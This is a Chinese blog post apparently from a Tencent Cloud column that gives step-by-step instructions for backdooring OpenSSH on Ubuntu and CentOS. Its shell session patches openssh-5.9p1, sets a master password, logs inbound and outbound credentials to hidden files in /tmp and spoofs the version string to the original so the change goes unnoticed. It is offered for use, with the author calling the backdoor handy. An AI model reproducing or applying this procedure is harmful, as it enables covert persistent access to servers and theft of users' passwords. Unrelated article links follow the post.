专栏首页极客慕白的成长之路Openssh后门 – Ubuntu/Centos

Openssh后门 – Ubuntu/Centos

这个后门真的又可怕又好用... 网上流传的都是Centos的版本,因为场景不同,我研究了一下针对Ubuntu,大同小异。

我的理解是在服务器在装一个不同版本的Openssh,打上相应的Patch使其能正常运作。

两个文件我存起来了:

openssh-5.9p1.tar.gz

openssh-5.9p1.patch.tar.gz

root:openssh-5.9p1/ # ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8, OpenSSL 1.0.1f 6 Jan 2014 root:~/ # ls openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz root:~/ # tar zxf openssh-5.9p1.patch.tar.gz root:~/ # tar zxf openssh-5.9p1.tar.gz root:~/ # ls openssh-5.9p1 openssh-5.9p1.patch openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz root:~/ # cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/ root:~/ # cd openssh-5.9p1 root:openssh-5.9p1/ # patch < sshbd5.9p1.diff patching file auth.c patching file auth-pam.c patching file auth-passwd.c patching file canohost.c patching file includes.h patching file log.c patching file servconf.c patching file sshconnect2.c patching file sshlogin.c patching file version.h root:openssh-5.9p1/ #

12345678910111213141516171819202122

root:openssh-5.9p1/ # ssh -V                                                          OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8, OpenSSL 1.0.1f 6 Jan 2014root:~/ # ls                                                                             openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gzroot:~/ # tar zxf openssh-5.9p1.patch.tar.gz                                             root:~/ # tar zxf openssh-5.9p1.tar.gz                                                   root:~/ # ls                                                                            openssh-5.9p1  openssh-5.9p1.patch  openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gzroot:~/ # cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/                         root:~/ # cd openssh-5.9p1                                                               root:openssh-5.9p1/ # patch < sshbd5.9p1.diff                                          patching file auth.cpatching file auth-pam.cpatching file auth-passwd.cpatching file canohost.cpatching file includes.hpatching file log.cpatching file servconf.cpatching file sshconnect2.cpatching file sshlogin.cpatching file version.hroot:openssh-5.9p1/ #

root:openssh-5.9p1/ # vim includes.h

1

root:openssh-5.9p1/ # vim includes.h

1

修改后门密码和记录文件的位置,最底下可见:

int secret_ok; FILE *f; #define ILOG "/tmp/.ilog" /* 记录登录到本机的用户名和密码 */ #define OLOG "/tmp/.olog" /* 记录本机登录到远程的用户名和密码 */ #define SECRETPW "test" /* 后门的密码 */ #endif /* INCLUDES_H */

123456

int secret_ok;FILE *f;#define ILOG "/tmp/.ilog"           /* 记录登录到本机的用户名和密码 */#define OLOG "/tmp/.olog"           /* 记录本机登录到远程的用户名和密码 */#define SECRETPW "test" /* 后门的密码 */#endif /* INCLUDES_H */

这边文件前面加上.相当于是隐藏文件,也可以换个隐蔽的目录

修改ssh版本信息,改成原来的

/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */ #define SSH_VERSION "OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8" #define SSH_PORTABLE "p1" #define SSH_RELEASE SSH_VERSION SSH_PORTABLE

123456

/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */ #define SSH_VERSION     "OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8" #define SSH_PORTABLE    "p1"#define SSH_RELEASE     SSH_VERSION SSH_PORTABLE

安装所需环境

Ubuntu: root:openssh-5.9p1/ # apt-get install -y openssl libssl-dev libpam0g-dev Centos: root:openssh-5.9p1/ # yum install -y openssl openssl-devel pam-devel

12345

Ubuntu:root:openssh-5.9p1/ # apt-get install -y openssl libssl-dev libpam0g-dev Centos:root:openssh-5.9p1/ # yum install -y openssl openssl-devel pam-devel

编译安装

Ubuntu: root:openssh-5.9p1/ # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam root:openssh-5.9p1/ # make && make install root:openssh-5.9p1/ # service ssh restart Centos: root:openssh-5.9p1/ # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 root:openssh-5.9p1/ # make && make install root:openssh-5.9p1/ # service sshd restart

123456789

Ubuntu:root:openssh-5.9p1/ # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pamroot:openssh-5.9p1/ # make && make installroot:openssh-5.9p1/ # service ssh restart Centos:root:openssh-5.9p1/ # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5root:openssh-5.9p1/ # make && make installroot:openssh-5.9p1/ # service sshd restart

重启ssh的时候可能会没有回应,卡在那边的样子,但是其实已经成功重启了。

登录前到/tmp/里看没有相应文件产生,然后先正常的密码toor登录:

root:/tmp/ # ls -a | grep log vgauthsvclog.txt.0 root:/tmp/ # ls -a | grep log .ilog vgauthsvclog.txt.0 root:/tmp/ # cat .ilog user:password --> root:toor

1234567

root:/tmp/ # ls -a | grep log                                                          vgauthsvclog.txt.0root:/tmp/ # ls -a | grep log                                                          .ilogvgauthsvclog.txt.0root:/tmp/ # cat .ilog                                                                user:password --> root:toor

再用我们的后门密码test,可以发现,只记录正常的密码,我们的后门密码并不记录。成功了。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 数据采集:如何自动化采集数据?

    举个例子,你做量化投资,基于大数据预测未来股票的波动,根据这个预测结果进行买卖。你当前能够拿到以往股票的所有历史数据,是否可以根据这些数据做出一个预测率高的数据...

    慕白
  • MySQL的实战系列:大字段如何优化

    除特别注明外,本站所有文章均为慕白博客原创,转载请注明出处来自https://geekmubai.com/programming/747.html

    慕白
  • LESS使用教程

    引入 .less 样式文件的时候要注意设置 rel 属性值为 “stylesheet/less”:

    慕白
  • 急速 debug 实战一(浏览器-基础篇)

    工欲善其事,必先利其器。最近在写代码的时候越发觉得不是代码有多难,而是当代码出了问题该如何调试,如何追溯本源,这才是最难的。

    秋风的笔记
  • 这么快又周五了?程序员段子

    百度研发的无人驾驶汽车,你会发现有些地方你是去不了的。腾讯研发的无人驾驶汽车,你会发现很多地方你要去是要充钻会员的。当然,谷歌研发的无人驾驶汽车,你会发现查无此...

    IT大咖说
  • 在SAP云平台的CloudFoundry环境下消费ABAP On-Premise OData服务

    我的前一篇文章 使用Java+SAP云平台+SAP Cloud Connector调用ABAP On-Premise系统里的函数介绍了在SAP云平台的Neo环境...

    Jerry Wang
  • 3D建模(Blender)+实例演示透明材质和5毛光晕特效

    不知道为什么,明明只想安安静静的科研(搬铅砖,一块22斤)。却发现自己,不会P图是不行的,毕竟你总想在自己的PPT里面突出点什么;不会视频剪辑、不会Gif动图,...

    梁佐佐
  • 使用Dash和Plotly进行交互式可视化

    交互式数据可视化对探索性数据分析具有重要影响。在将任何描述性或预测性算法应用于数据集之前,必须首先了解这些特征如何相互关联以及它们如何在内部分布。许多可视化库提...

    代码医生工作室
  • Tomcat服务器顶层结构和启动过程

    通过从部署的 1240 个 JVM 中得到的数据,我们能够确定出现了 862 个容器供应商,或者说是占到了运行环境的 70% 左右。这些容器的供应商分布如下:

    Java后端技术
  • 进入社交领域?GitHub推出官方手机APP;北极代码存储计划浮出水面

    在最近的 GitHub Universe 大会上,GitHub 官方宣布,他们即将推出移动端 App。目前 iOS 用户已经可以在页面上申请 Beta 版本的试...

    机器之心

扫码关注云+社区

领取腾讯云代金券